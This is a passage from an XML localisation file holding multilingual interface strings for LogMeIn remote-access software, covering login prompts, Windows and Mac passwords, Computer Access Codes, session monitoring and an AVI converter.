<ko>이 컴퓨터에 원격으로 연결하면 Windows 로그인 화면에 일반적으로 입력하는 사용자 이름과 암호를 입력하라는 메시지가 표시됩니다. 중요: LogMeIn.com 또는 LogMeIn 클라이언트의 사용자 이름과 암호를 입력하지 마십시오.</ko>
<en-gb>When making a remote connection to this computer you will be prompted to enter the username and password you normally enter on the Windows login screen. Important: Do not re-enter the username and password for LogMeIn.com or the LogMeIn Client.</en-gb>
<hu>Amikor távolról kapcsolódik erre a számítógépre, be kell írnia azt a felhasználónevet és jelszót, amelyet a Windows bejelentkező képernyőjén rendesen meg szokott adni. Fontos: ne a LogMeIn.com vagy a LogMeIn kliens bejelentkezési felhasználónevét és jelszavát írja be még egyszer.</hu>
<pt-br>Ao fazer uma conexão remota com este computador, você será solicitado a inserir o nome de usuário e a senha que costuma digitar na tela de login do Windows. Importante: não insira o nome de usuário e a senha do LogMeIn.com ou do LogMeIn Client.</pt-br>
<nl>Als u een externe verbinding tot stand gaat brengen met deze computer, moet u de gebruikersnaam en het wachtwoord invoeren dat u anders invoert in het aanmeldingsscherm van Windows. Belangrijk: gebruik hier niet de gebruikersnaam en het wachtwoord voor LogMeIn.com of de LogMeIn-client.</nl>
</msg>
<msg name="PASSWORD1_2">
<en>To change your Windows password for this computer, press Ctrl-Alt-Delete and then select “Change a password.”</en>
<de>Drücken Sie Strg+Alt+Entf und wählen Sie „Kennwort ändern“ aus, um Ihr Windows-Kennwort für diesen Computer zu ändern.</de>
<es>Para cambiar su contraseña de Windows en este ordenador, pulse Ctrl-Alt-Supr y, a continuación, seleccione "Cambiar una contraseña...".</es>
<fr>Pour modifier votre mot de passe Windows sur cet ordinateur, appuyez sur Ctrl+Alt+Suppr, puis sélectionnez « Modifier le mot de passe ».</fr>
<it>Per cambiare la password di Windows del computer, premi Ctrl+Alt+Canc e quindi fai clic su "Cambia password”.</it>
<ru>Чтобы изменить пароль Windows на данном компьютере, нажмите клавиши Ctrl-Alt-Delete, а затем выберите пункт «Сменить пароль».</ru>
<ja>このコンピュータの Windows パスワードを変更するには、Ctrl+Alt+Del キーを押し、[パスワードの変更] を選択します。</ja>
<zh>要更改此计算机的 Windows 密码,请按 Ctrl-Alt-Delete,然后选择“更改密码”。</zh>
<ko>이 컴퓨터의 Windows 암호를 변경하려면 Ctrl-Alt-Delete를 누른 다음 "암호 변경" 버튼을 선택하십시오.</ko>
<en-gb>To change your Windows password for this computer, press Ctrl-Alt-Delete and then select “Change a password.”</en-gb>
<hu>A számítógép Windows-jelszavának módosításához nyomja le a Ctrl–Alt–Delete billentyűkombinációt, majd kattintson a „Jelszó megváltoztatása...” lehetőségre.</hu>
<pt-br>Para alterar sua senha do Windows neste computador, pressione Ctrl-Alt-Delete e, em seguida, selecione "Alterar senha".</pt-br>
<nl>Als u het Windows wachtwoord voor deze computer wilt wijzigen, drukt u op Ctrl-Alt-Delete en selecteert u vervolgens Wachtwoord wijzigen.</nl>
</msg>
<msg name="PASSWORD_NOLOG_1">
<en>This computer is set up to not require a Windows password at system startup.</en>
<es>Este ordenador está configurado de modo que no solicita ninguna contraseña de Windows al arrancar el sistema.</es>
<de>Dieser Computer ist so konfiguriert, dass bei Systemstart kein Windows-Kennwort verlangt wird.</de>
<fr>Cet ordinateur est configuré pour ne pas exiger de mot de passe Windows au démarrage du système.</fr>
<it>Il computer è impostato in modo da non richiedere una password di Windows all'avvio del sistema.</it>
<ru>Данный компьютер настроен так, что не запрашивает пароль Windows при загрузке системы.</ru>
<ja>このコンピュータは、システムの起動時に Windows パスワードを要求しないように設定されています。</ja>
<zh>此计算机设置为在系统启动时不需要 Windows 密码。</zh>
<ko>이 컴퓨터는 시스템 시작 시 Windows 암호를 요구하지 않도록 설정되었습니다.</ko>
<en-gb>This computer is set up to not require a Windows password at system startup.</en-gb>
<hu>Ez a számítógép a beállításai szerint nem kér Windows-jelszót a rendszer indulásakor.</hu>
<pt-br>Este computador está configurado para não exigir senha do Windows ao inicializar o sistema.</pt-br>
<nl>Deze computer is zo ingesteld dat een Windows wachtwoord niet nodig is bij het opstarten van het systeem.</nl>
</msg>
<msg name="PASSWORD_NOLOG_2">
<en>To protect the computer from unauthorized access, remote users will need to enter a Computer Access Code.</en>
<es>Para proteger el ordenador frente a accesos no autorizados, los usuarios remotos deberán introducir un código de acceso al ordenador.</es>
<de>Um den Computer vor unbefugtem Zugriff zu schützen, müssen Remotebenutzer einen Computer-Zugriffscode eingeben.</de>
<fr>Pour protéger l'ordinateur des accès non autorisés, les utilisateurs distants devront entrer un code d'accès à l'ordinateur.</fr>
<it>Per proteggere il computer da accessi non autorizzati, gli utenti remoti dovranno immettere un Codice di accesso al computer.</it>
<ru>Для защиты компьютера от несанкционированного доступа удаленным пользователям потребуется вводить код доступа к компьютеру.</ru>
<ja>コンピュータを不正アクセスから保護するために、リモート ユーザはコンピュータ アクセス コードを入力する必要があります。</ja>
<zh>为防止未经授权访问计算机,远程用户将需要输入计算机访问代码。</zh>
<ko>인증되지 않은 액세스로부터 컴퓨터를 보호하려면, 원격 사용자가 컴퓨터 액세스 코드를 입력해야 합니다.</ko>
<en-gb>To protect the computer from unauthorized access, remote users will need to enter a Computer Access Code.</en-gb>
<hu>A számítógép jogosulatlan hozzáféréstől való megóvása érdekében a távoli felhasználóknak számítógépes hozzáférési kódot kell megadniuk.</hu>
<pt-br>Para proteger o computador de acesso não autorizado, os usuários remotos precisarão inserir um Código de acesso do computador.</pt-br>
<nl>Om de computer tegen ongeautoriseerde toegang te beschermen, moeten gebruikers op afstand een Computertoegangscode invoeren.</nl>
</msg>
<msg name="PASSWORD1_1" os="macosx">
<en>When accessing this computer, remote users must enter their Mac user name and password just as when logging in locally.</en>
<de>Beim Zugriff auf diesen Computer müssen Fernbenutzer wie bei der lokalen Anmeldung ihren Mac-Benutzernamen und ihr Passwort eingeben.</de>
<es>Al acceder a este ordenador, los usuarios remotos deberán introducir su nombre de usuario de Mac y su contraseña, como cuando inician sesión localmente.</es>
<fr>Lors de l'accès à cet ordinateur, les utilisateurs distants doivent entrer leurs identifiants Mac, comme lorsqu'ils ouvrent une session en local.</fr>
<it>Accedendo a questo computer, gli utenti remoti dovranno immettere i loro nomi utente e password Mac come se effettuassero l'accesso localmente.</it>
<ru>Для доступа к данному компьютеру удаленные пользователи должны вводить свое имя пользователя и пароль к компьютеру Mac как при локальном входе в систему.</ru>
<ja>このコンピュータにアクセスするときに、リモート ユーザーはローカルでログインするときと同じように Mac ユーザー名とパスワードを入力する必要があります。</ja>
<zh>在访问此计算机时,远程用户必须输入他们在本地登录时所用的 Mac 用户名和密码。</zh>
<ko>원격 사용자가 컴퓨터에 액세스하려면 로컬에서 로그인할 때처럼 Mac 사용자 이름 및 암호를 입력해야 합니다.</ko>
<en-gb>When accessing this computer, remote users must enter their Mac user name and password just as when logging in locally.</en-gb>
<hu>Ennek a számítógépnek az eléréséhez a távoli felhasználóknak ugyanúgy be kell írniuk Mac felhasználói nevüket és jelszavukat, mint a helyi bejelentkezéskor.</hu>
<pt-br>Ao acessar este computador, os usuários remotos devem inserir o nome de usuário e a senha do Mac como se efetuassem login localmente.</pt-br>
<nl>Om toegang te krijgen tot deze computer moeten gebruikers op afstand hun Mac-gebruikersnaam en -wachtwoord invoeren, net als bij lokaal aanmelden.</nl>
</msg>
<msg name="PASSWORD1_2" os="macosx">
<en>When accessing this computer, remote users must enter either their Mac user name and password or a Computer Access Code.</en>
<de>Beim Zugriff auf diesen Computer müssen Fernbenutzer entweder ihren Mac-Benutzernamen und ihr Passwort oder einen Computerzugriffscode eingeben.</de>
<es>Al acceder a este ordenador, los usuarios remotos deberán introducir su nombre de usuario de Mac y su contraseña o un código de acceso al ordenador.</es>
<fr>Lors de l'accès à cet ordinateur, les utilisateurs distants doivent entrer leurs identifiants Mac ou un code d'accès à l'ordinateur.</fr>
<it>Accedendo a questo computer, gli utenti remoti dovranno immettere i loro nomi utente e password Mac o un codice di accesso al computer.</it>
<ru>Для доступа к данному компьютеру удаленные пользователи должны вводить либо свое имя пользователя и пароль к компьютеру Mac, либо код доступа к компьютеру.</ru>
<ja>このコンピュータにアクセスするときに、リモート ユーザーは Mac ユーザー名とパスワード、またはコンピュータ アクセス コードのどちらかを入力する必要があります。</ja>
<zh>在访问此计算机时,远程用户必须输入他们的 Mac 用户名和密码或计算机访问代码。</zh>
<ko>원격 사용자가 컴퓨터에 액세스하려면 Mac 사용자 이름과 암호 또는 컴퓨터 액세스 코드를 입력해야 합니다.</ko>
<en-gb>When accessing this computer, remote users must enter either their Mac user name and password or a Computer Access Code.</en-gb>
<hu>Ennek a számítógépnek az eléréséhez a távoli felhasználóknak vagy Mac felhasználói nevüket és jelszavukat kell beírniuk, vagy a számítógép hozzáférési kódját.</hu>
<pt-br>Ao acessar este computador, os usuários remotos devem inserir o nome de usuário e a senha do Mac ou um Código de acesso ao computador.</pt-br>
<nl>Om toegang te krijgen tot deze computer moeten gebruikers op afstand hun Mac-gebruikersnaam en -wachtwoord of een computertoegangscode invoeren.</nl>
</msg>
<msg name="PASSWORD2_1" os="macosx">
<en>When a Mac password is required, your computer is already protected and a Computer Access Code is not required.</en>
<de>Wenn ein Mac-Passwort festgelegt wurde, ist Ihr Computer bereits geschützt und ein Computerzugriffscode ist nicht erforderlich.</de>
<es>Cuando se requiere una contraseña de Mac, su ordenador ya está protegido y no se necesita un código de acceso al ordenador.</es>
<fr>Quand un mot de passe Mac est nécessaire, votre ordinateur est déjà protégé et il n'y a pas besoin de code d'accès à l'ordinateur.</fr>
<it>Se viene richiesta una password Mac, il tuo computer è già protetto e non è necessario un codice di accesso al computer.</it>
<ru>Если на компьютере Mac установлен пароль, то он уже защищен и код доступа к компьютеру не требуется.</ru>
<ja>Mac パスワードを要求された場合は、お使いのコンピュータはすでに保護されており、コンピュータ アクセス コードは要求されません。</ja>
<zh>如果需要 Mac 密码,则表示您的计算机已受到保护,不需要计算机访问代码。</zh>
<ko>Mac 암호가 필수 항목인 경우 컴퓨터는 이미 보호되고 있으며 컴퓨터 액세스 코드는 필요하지 않습니다.</ko>
<en-gb>When a Mac password is required, your computer is already protected and a Computer Access Code is not required.</en-gb>
<hu>Ha a Mac felhasználói fiók jelszóval védett, a számítógép biztonságban van, így nincs szükség külön hozzáférési kódra.</hu>
<pt-br>Quando for solicitada uma senha do Mac, seu computador já estará protegido e o Código de acesso ao computador não será obrigatório.</pt-br>
<nl>Als een Mac-wachtwoord vereist is, is uw computer al beveiligd en is een computertoegangscode niet vereist.</nl>
</msg>
<msg name="PASSWORD2_2" os="macosx">
<en>A Computer Access Code is set for this computer.</en>
<de>Für diesen Computer wurde ein Computerzugriffscode festgelegt.</de>
<es>Este ordenador tiene configurado un Código de acceso al ordenador.</es>
<fr>Un code d'accès a été configuré pour cet ordinateur.</fr>
<it>Per questo computer è impostato un Codice di accesso al computer.</it>
<ru>Для данного компьютера установлен код доступа.</ru>
<ja>このコンピュータにはコンピュータ アクセス コードが設定されています。</ja>
<zh>设置此计算机的计算机访问代码。</zh>
<ko>이 컴퓨터에 대한 액세스 코드가 설정됩니다.</ko>
<en-gb>A Computer Access Code is set for this computer.</en-gb>
<hu>Ehhez a számítógéphez hozzáférési kód van beállítva.</hu>
<pt-br>Um Código de acesso do computador foi definido para este computador.</pt-br>
<nl>Op deze computer is een toegangscode ingesteld.</nl>
</msg>
<msg name="PASSWORD_NOLOG_1" os="macosx">
<en>A Computer Access Code gives you assurance that only people who know the code can access your computer. You must create a code when your Mac is otherwise accessible without a password.</en>
<de>Ein Computerzugriffscode gibt Ihnen die Gewissheit, dass nur Personen, die den Code kennen, auf Ihren Computer zugreifen können. Falls Ihr Mac sonst ohne Passwort zugänglich ist, ist die Erstellung eines Codes verpflichtend.</de>
<es>El uso de un código de acceso al ordenador le garantiza que solo aquellas personas que conozcan el código podrán acceder a su ordenador. Debe crear un código cuando pueda accederse a su Mac sin necesidad de contraseña.</es>
<fr>Un code d'accès à l'ordinateur vous permet d'être certain que seules les personnes connaissant le code pourront accéder à votre ordinateur. Vous devez créer un code quand votre Mac est par ailleurs accessible sans mot de passe.</fr>
<it>Un codice di accesso al computer ti garantisce che solo le persone che conoscono il codice possono accedere al computer. Devi creare questo codice quando è possibile accedere al tuo Mac senza inserire una password.</it>
<ru>Код доступа к компьютеру позволяет разрешить доступ только тем, кто знает этот код. Этот код необходимо задать, если доступ к компьютеру Mac не защищен паролем.</ru>
<ja>コンピュータ アクセス コードは、コードを知っている人物のみが、あなたのコンピュータにアクセスできることを保証します。パスワードがなくても Mac にアクセスできる状態のときは、コードを作成する必要があります。</ja>
<zh>计算机访问代码可确保只有知道该代码的人才能访问您的计算机。如果您的 Mac 可以不通过密码就进行访问,您必须创建一个代码。</zh>
<ko>컴퓨터 코드를 사용하면 코드를 아는 사람만 컴퓨터에 액세스할 수 있도록 보장할 수 있습니다. 암호 없이 Mac에 액세스하려면 코드를 만들어야 합니다.</ko>
<en-gb>A Computer Access Code gives you assurance that only people who know the code can access your computer. You must create a code when your Mac is otherwise accessible without a password.</en-gb>
<hu>A hozzáférési kód biztosítja, hogy csak a kódot ismerő személyek férhessenek hozzá az Ön számítógépéhez. Ha egyébként Mac gépe jelszó nélkül elérhető, a hozzáférési kód létrehozása kötelező.</hu>
<pt-br>Um Código de acesso ao computador oferece a garantia de que somente pessoas que conhecem o código podem acessar seu computador. Você deve criar um código quando seu Mac estiver acessível sem senha.</pt-br>
<nl>Een computertoegangscode geeft u de zekerheid dat alleen mensen die de code kennen toegang hebben tot uw computer. Maak een code aan als uw Mac anders zonder wachtwoord toegankelijk is.</nl>
</msg>
<msg name="PASSWORD_NOLOG_2" os="macosx">
<en>To create a Mac password instead of a Computer Access Code, go to System Preferences > User and Groups on your Mac. </en>
<de>Öffnen Sie auf Ihrem Mac das Menü „Systemeinstellungen“ &gt; „Benutzer und Gruppen“, um statt eines Computerzugriffscodes ein Mac-Passwort anzulegen. </de>
<es>Para crear una contraseña de Mac en lugar de un código de acceso al ordenador, diríjase a Preferencias del Sistema &gt; Usuarios y Grupos en su Mac. </es>
<fr>Pour créer un mot de passe Mac plutôt qu'un code d'accès à l'ordinateur, passez à Préférences système &gt; Utilisateurs et Groupes sur votre Mac. </fr>
<it>Per creare una password Mac, invece di un codice di accesso al computer, vai a Preferenze di sistema &gt; Utenti e gruppi sul tuo Mac. </it>
<ru>Чтобы задать пароль для компьютера Mac вместо кода доступа к компьютеру, откройте пульт «Системные настройки» &gt; «Пользователи и группы» на компьютере Mac. </ru>
<ja>コンピュータ アクセス コードの代わりに Mac パスワードを作成するには、Mac で [システム環境設定] &gt; [ユーザーとグループ] に移動します。 </ja>
<zh>要创建 Mac 密码而不是计算机访问代码,转到 Mac 上的“系统预置”&gt;“用户和组”。 </zh>
<ko>컴퓨터 액세스 코드 대신 Mac 암호를 만들려면 Mac에서 시스템 환경설정 &gt; 사용자 및 그룹으로 이동하십시오. </ko>
<en-gb>To create a Mac password instead of a Computer Access Code, go to System Preferences &gt; User and Groups on your Mac. </en-gb>
<hu>Ha a számítógéphez hozzáférési kód helyett Mac-jelszót akar létrehozni, ezt Mac gépén a Rendszerbeállítások &gt; Felhasználók és csoportok alatt teheti meg. </hu>
<pt-br>Para criar uma senha de Mac em vez de um Código de acesso ao computador, vá para Preferências do sistema &gt; Usuários e grupos no Mac. </pt-br>
<nl>Om een Mac-wachtwoord aan te maken in plaats van een computertoegangscode, ga naar Systeemvoorkeuren &gt; Gebruikers en Groepen </nl>
</msg>
<msg name="PASSWORD_NOLOG_3" os="macosx">
<en>Caution: A computer with neither a Computer Access Code nor a Mac user name and password cannot be accessed remotely!</en>
<de>Achtung: Ein Computer, der weder durch einen Computerzugriffscode noch durch einen Mac-Benutzernamen und ein Passwort geschützt ist, ist nicht per Fernzugriff zugänglich!</de>
<es>Precaución: No es posible acceder de forma remota a un ordenador que no tenga ni código de acceso al ordenador ni nombre de usuario y contraseña de Mac.</es>
<fr>Attention : Un ordinateur n'ayant ni code d'accès à l'ordinateur ni identifiant Mac avec mot de passe ne sera pas accessible à distance.</fr>
<it>Attenzione: A un computer senza codice di accesso o un nome utente e password Mac non è possibile accedere in remoto!</it>
<ru>Внимание! Если не заданы ни код доступа к компьютеру, ни имя пользователя с паролем Mac, к этому компьютеру будет невозможно получить удаленный доступ!</ru>
<ja>注意:コンピュータ アクセス コードまたは Mac ユーザー名とパスワードがないコンピュータには、リモートアクセスができません。</ja>
<zh>小心:如果计算机既没有计算机访问代码,也没有 Mac 用户名和密码,则不能进行远程访问!</zh>
<ko>주의: 컴퓨터 액세스 코드나 Mac 사용자 이름 및 암호가 없는 컴퓨터에는 원격으로 액세스할 수 없습니다.</ko>
<en-gb>Caution: A computer with neither a Computer Access Code nor a Mac user name and password cannot be accessed remotely!</en-gb>
<hu>Figyelem: Ha egy számítógéphez sem hozzáférési kód, sem jelszóval védett Mac felhasználói fiók nincs létrehozva, akkor nem lehet távolról elérni!</hu>
<pt-br>Cuidado: computadores sem Código de acesso ao computador nem nome de usuário e senha de Mac não podem ser acessados remotamente!</pt-br>
<nl>Let op: u kunt niet op afstand toegang krijgen tot een computer zonder computertoegangscode of Mac-gebruikersnaam en -wachtwoord!</nl>
</msg>
<msg name="OPTIONS_DISABLED">
<en>To enable all options, turn %PRODUCTNAME on.</en>
<es>Para habilitar todas las opciones, encienda %PRODUCTNAME.</es>
<de>Starten Sie %PRODUCTNAME, um alle Optionen zu aktivieren.</de>
<fr>Pour activer toutes les options, activez %PRODUCTNAME.</fr>
<it>Per abilitare tutte le opzioni, attivare %PRODUCTNAME.</it>
<ru>Для включения всех опций включите %PRODUCTNAME.</ru>
<ja>すべてのオプションを有効にするには、%PRODUCTNAME をオンにします。</ja>
<zh>要启用所有选项,请打开 %PRODUCTNAME。</zh>
<ko>모든 옵션을 사용하려면, %PRODUCTNAME을(를) 켜십시오.</ko>
<en-gb>To enable all options, turn %PRODUCTNAME on.</en-gb>
<hu>Az összes lehetőség engedélyezéséhez kapcsolja be a %PRODUCTNAME programot.</hu>
<pt-br>Para habilitar todas as opções, desligue o %PRODUCTNAME.</pt-br>
<nl>Om alle opties in te schakelen, activeert u %PRODUCTNAME.</nl>
</msg>
<msg name="BTN_CHGACCCODE">
<en>Change Computer Access Code...</en>
<es>Cambiar código de acceso al ordenador...</es>
<de>Computer-Zugriffscode ändern...</de>
<fr>Modifier le code d’accès à l’ordinateur...</fr>
<it>Cambia codice di accesso al computer...</it>
<ru>Изменить код доступа к компьютеру...</ru>
<ja>コンピュータ アクセス コードの変更...</ja>
<zh>更改计算机访问代码...</zh>
<ko>컴퓨터 액세스 코드 변경...</ko>
<en-gb>Change Computer Access Code...</en-gb>
<hu>Számítógépes hozzáférési kód módosítása...</hu>
<pt-br>Alterar Código de acesso do computador...</pt-br>
<nl>Toegangscode voor computer...</nl>
</msg>
<msg name="PREFANDSEC">
<en>Preferences and Security</en>
<es>Preferencias y seguridad</es>
<de>Einstellungen und Sicherheit</de>
<fr>Préférences et sécurité</fr>
<it>Preferenze e protezione</it>
<ru>Параметры и безопасность</ru>
<ja>設定とセキュリティ</ja>
<zh>参数选择和安全性</zh>
<ko>기본 설정 및 보안</ko>
<en-gb>Preferences and Security</en-gb>
<hu>Beállítások és biztonság</hu>
<pt-br>Preferências e segurança</pt-br>
<nl>Voorkeuren en beveiliging</nl>
</msg>
<msg name="PREFTXT">
<en>Configure how %PRODUCTNAME works on this computer.</en>
<es>Configure cómo debe funcionar %PRODUCTNAME en este ordenador.</es>
<de>Hier können Sie festlegen, wie %PRODUCTNAME auf diesem Computer ausgeführt wird.</de>
<fr>Configurez le fonctionnement de %PRODUCTNAME sur cet ordinateur.</fr>
<it>Permette di configurare la modalità di funzionamento di %PRODUCTNAME su questo computer.</it>
<ru>Настройте параметры работы %PRODUCTNAME на этом компьютере.</ru>
<ja>このコンピュータでの %PRODUCTNAME の動作を設定します。</ja>
<zh>配置 %PRODUCTNAME 在此计算机上的工作方式。</zh>
<ko>이 컴퓨터에서 %PRODUCTNAME이(가) 작동하는 방법을 구성합니다.</ko>
<en-gb>Configure how %PRODUCTNAME works on this computer.</en-gb>
<hu>A %PRODUCTNAME konfigurálása ezen a számítógépen.</hu>
<pt-br>Configure como o %PRODUCTNAME funciona neste computador.</pt-br>
<nl>Configureer de werking van %PRODUCTNAME op deze computer.</nl>
</msg>
<msg name="LINK_OPENLMILOC">
<en>Open LogMeIn locally</en>
<es>Abrir LogMeIn localmente</es>
<de>LogMeIn lokal ausführen</de>
<fr>Ouvrir LogMeIn en local</fr>
<it>Apri LogMeIn localmente</it>
<ru>Открыть LogMeIn локально</ru>
<ja>LogMeIn をローカルで開く</ja>
<zh>在本地打开 LogMeIn</zh>
<ko>로컬에서 LogMeIn 열기</ko>
<en-gb>Open LogMeIn locally</en-gb>
<hu>A LogMeln indítása helyben</hu>
<pt-br>Abrir o LogMeIn localmente</pt-br>
<nl>LogMeIn lokaal openen</nl>
</msg>
<msg name="CONNECTIONANDEVENT">
<en>Connection and Event Monitor</en>
<es>Conexión y supervisor de sucesos</es>
<de>Verbindungs- und Ereignisüberwachung</de>
<fr>Moniteur d'événements et de connexion</fr>
<it>Monitor connessioni ed eventi</it>
<ru>Монитор подключений и событий</ru>
<ja>接続およびイベント モニタ</ja>
<zh>连接和事件监控</zh>
<ko>연결 및 이벤트 모니터</ko>
<en-gb>Connection and Event Monitor</en-gb>
<hu>Kapcsolat- és eseményfigyelés</hu>
<pt-br>Monitor de conexões e eventos</pt-br>
<nl>Controle verbinding en gebeurtenissen</nl>
</msg>
<msg name="CONNTXT">
<en>View technical information about the %PRODUCTNAME software on this computer.</en>
<es>Ver la información técnica acerca del software %PRODUCTNAME en este ordenador.</es>
<de>Hier können Sie technische Informationen über die %PRODUCTNAME-Software auf diesem Computer anzeigen.</de>
<fr>Afficher des informations techniques sur le logiciel %PRODUCTNAME de cet ordinateur.</fr>
<it>Visualizza informazioni tecniche sul software %PRODUCTNAME su questo computer.</it>
<ru>Просмотреть техническую информацию о программном обеспечении %PRODUCTNAME на этом компьютере.</ru>
<ja>このコンピュータの %PRODUCTNAME ソフトウェアに関する技術情報を表示します。</ja>
<zh>查看有关此计算机上 %PRODUCTNAME 软件的技术信息。</zh>
<ko>이 컴퓨터에 있는 %PRODUCTNAME 소프트웨어 기술 정보를 확인하십시오.</ko>
<en-gb>View technical information about the %PRODUCTNAME software on this computer.</en-gb>
<hu>A %PRODUCTNAME szoftverre vonatkozó műszaki információk megtekintése ezen a számítógépen.</hu>
<pt-br>Exiba informações técnicas sobre o software %PRODUCTNAME neste computador.</pt-br>
<nl>Bekijk de technische informatie over de %PRODUCTNAME-software op deze computer.</nl>
</msg>
<msg name="BTN_OPENMONITOR">
<en>Connection and Event Details</en>
<es>Conexión y detalles de sucesos</es>
<de>Verbindungs- und Ereignisdetails</de>
<fr>Détails de connexion et d'événement</fr>
<it>Dettagli connessione ed evento</it>
<ru>Сведения о подключениях и событиях</ru>
<ja>接続およびイベントの詳細</ja>
<zh>连接和事件详细信息</zh>
<ko>연결 및 이벤트 세부사항</ko>
<hu>Kapcsolat- és eseményadatok</hu>
<pt-br>Detalhes de conexões e eventos</pt-br>
<nl>Details verbinding en gebeurtenissen</nl>
<en-gb>Connection and Event Details</en-gb>
</msg>
<msg name="WELCOMESCREEN">
<en>Welcome Screen</en>
<es>Pantalla de bienvenida</es>
<de>Willkommensseite</de>
<fr>Écran de bienvenue</fr>
<it>Schermata di benvenuto</it>
<ru>Окно приветствия</ru>
<ja>[ようこそ] 画面</ja>
<zh>欢迎屏幕</zh>
<ko>시작 화면</ko>
<en-gb>Welcome Screen</en-gb>
<hu>Üdvözlő képernyő</hu>
<pt-br>Tela de boas-vindas</pt-br>
<nl>Welkomstscherm</nl>
</msg>
<msg name="HIDEGETTINGSTARTED">
<en>Hide the Getting Started screen</en>
<de>Seite „Erste Schritte“ ausblenden</de>
<es>Ocultar la pantalla de Primeros pasos</es>
<fr>Masquer l'écran d'accueil</fr>
<it>Nascondi la Guida introduttiva</it>
<nl>Het scherm Aan de slag verbergen</nl>
<pt-br>Ocultar a tela Boas-Vindas</pt-br>
<hu>Az Első lépések képernyő elrejtése</hu>
<ru>Скрыть страницу «Начало работы»</ru>
<ja>[はじめに] 画面を隠す</ja>
<ko>시작하기 화면 숨기기</ko>
<zh>隐藏快速入门屏幕</zh>
</msg>
<msg name="SHOWGETTINGSTARTED">
<en>Show the Getting Started screen</en>
<de>Seite „Erste Schritte“ anzeigen</de>
<es>Mostrar la pantalla de Primeros pasos</es>
<fr>Afficher l'écran d'accueil</fr>
<it>Mostra la Guida introduttiva</it>
<nl>Het scherm Aan de slag weergeven</nl>
<pt-br>Exibir a tela Boas-Vindas</pt-br>
<hu>Az Első lépések képernyő megjelenítése</hu>
<ru>Показать страницу «Начало работы»</ru>
<ja>[はじめに] 画面を表示する</ja>
<ko>시작하기 화면 표시</ko>
<zh>显示快速入门屏幕</zh>
</msg>
<cat name="EVENTMON">
<cat name="EVENTS">
<msg name="TITLE">
<en>Events</en>
<es>Sucesos</es>
<fr>Evénements</fr>
<de>Ereignisse</de>
<it>Eventi</it>
<ru>События</ru>
<ja>イベント</ja>
<zh>事件</zh>
<ko>이벤트</ko>
<en-gb>Events</en-gb>
<hu>Események</hu>
<pt-br>Eventos</pt-br>
<nl>Gebeurtenissen</nl>
</msg>
</cat>
<cat name="CONNECTIONS">
<msg name="ACTIVEREMSESS">
<en>Active Remote Sessions</en>
<es>Sesiones remotas activas</es>
<de>Aktive Remotesitzungen</de>
<fr>Sessions distantes actives</fr>
<it>Sessioni remote attive</it>
<ru>Активные удаленные сеансы</ru>
<ja>アクティブなリモート セッション</ja>
<zh>活动的远程会话</zh>
<ko>원격 세션 활성화</ko>
<en-gb>Active Remote Sessions</en-gb>
<hu>Aktív távelérési munkamenetek</hu>
<pt-br>Ativar sessões remotas</pt-br>
<nl>Actieve sessies op afstand</nl>
</msg>
<msg name="CLOSEDREMSESS">
<en>Closed Remote Sessions</en>
<es>Sesiones remotas cerradas</es>
<de>Beendete Remotesitzungen</de>
<fr>Sessions distantes fermées</fr>
<it>Sessioni remote chiuse</it>
<ru>Закрытые удаленные сеансы</ru>
<ja>終了したリモート セッション</ja>
<zh>关闭的远程会话</zh>
<ko>닫힌 원격 세션</ko>
<en-gb>Closed Remote Sessions</en-gb>
<hu>Lezárt távelérési munkamenetek</hu>
<pt-br>Sessões remotas encerradas</pt-br>
<nl>Gesloten sessies op afstand</nl>
</msg>
<msg name="CONNDETAILS">
<en>Connection Details</en>
<de>Verbindungsdetails </de>
<es>Detalles de conexión</es>
<fr>Details de la connexion</fr>
<it>Dettagli connessione</it>
<ru>Сведения о подключении</ru>
<ja>接続の詳細</ja>
<zh>连接详情</zh>
<ko>연결 정보</ko>
<en-gb>Connection details</en-gb>
<hu>Kapcsolat adatai</hu>
<pt-br>Detalhes da conexão</pt-br>
<nl>Details voor verbinding</nl>
</msg>
<msg name="PROPERTY.CLIENT">
<en>Client</en>
<de>Client</de>
<es>Cliente</es>
<fr>Client</fr>
<it>Client</it>
<ru>Клиент</ru>
<ja>クライアント</ja>
<zh>客户端</zh>
<ko>클라이언트</ko>
<en-gb>Client</en-gb>
<hu>Kliens</hu>
<pt-br>Cliente</pt-br>
<nl>Client</nl>
</msg>
<msg name="PROPERTY.CLIENTIP">
<en>Client IP</en>
<es>IP del cliente</es>
<de>Client-IP</de>
<fr>IP du client</fr>
<it>IP client</it>
<ru>IP-адрес клиента</ru>
<ja>クライアント IP</ja>
<zh>客户端 IP</zh>
<ko>클라이언트 IP</ko>
<en-gb>Client IP</en-gb>
<hu>Kliens IP-címe</hu>
<pt-br>IP do cliente</pt-br>
<nl>IP-adres van de client</nl>
</msg>
<msg name="PROPERTY.DURATION">
<en>Duration</en>
<es>Duración</es>
<de>Dauer</de>
<fr>Durée</fr>
<it>Durata</it>
<ru>Длительность</ru>
<ja>時間</ja>
<zh>持续时间</zh>
<ko>기간</ko>
<en-gb>Duration</en-gb>
<hu>Időtartam</hu>
<pt-br>Duração</pt-br>
<nl>Duur</nl>
</msg>
</cat>
</cat>
<cat name="AVICONV">
<msg name="TITLE">
<en>%PRODUCTNAME AVI convertor</en>
<de>%PRODUCTNAME AVI Converter</de>
<es>Conversor AVI de %PRODUCTNAME</es>
<fr>Convertisseur AVI %PRODUCTNAME</fr>
<it>Convertitore AVI di %PRODUCTNAME</it>
<nl>%PRODUCTNAME AVI-converter</nl>
<pt-br>%PRODUCTNAME conversor AVI</pt-br>
<hu>%PRODUCTNAME AVI-konverter</hu>
<ru>AVI-конвертер %PRODUCTNAME</ru>
<ja>%PRODUCTNAME AVI コンバータ</ja>
<ko>%PRODUCTNAME AVI 변환기</ko>
<zh>%PRODUCTNAMEAVI 转换器</zh>
</msg>
<msg name="WARNING.NOFILES">
<en>Please add at least one file to convert.</en>
<de>Geben Sie mindestens eine Datei für die Konvertierung an.</de>
<es>Agregue al menos un archivo para convertir.</es>
<fr>Ajoutez au moins un fichier à convertir.</fr>
<it>Aggiungere almeno un file da convertire.</it>
<ru>Добавьте хотя бы один файл для преобразования.</ru>
<ja>変換するファイルを最低 1 ファイル追加してください。</ja>
<zh>请至少添加一个要转换的文件。</zh>
<ko>변환할 파일을 하나 이상 추가하십시오.</ko>
<en-gb>Please add at least one file to convert.</en-gb>
<hu>Kérem, a konvertáláshoz adjon meg legalább egy fájlt.</hu>
<pt-br>Adicione pelo menos um arquivo para conversão.</pt-br>
<nl>Voeg minstens één bestand toe om het te converteren.</nl>
</msg>
<msg name="WARNING.NODESTDIR">
<en>The destination directory field is empty. Please enter a valid directory name.</en>
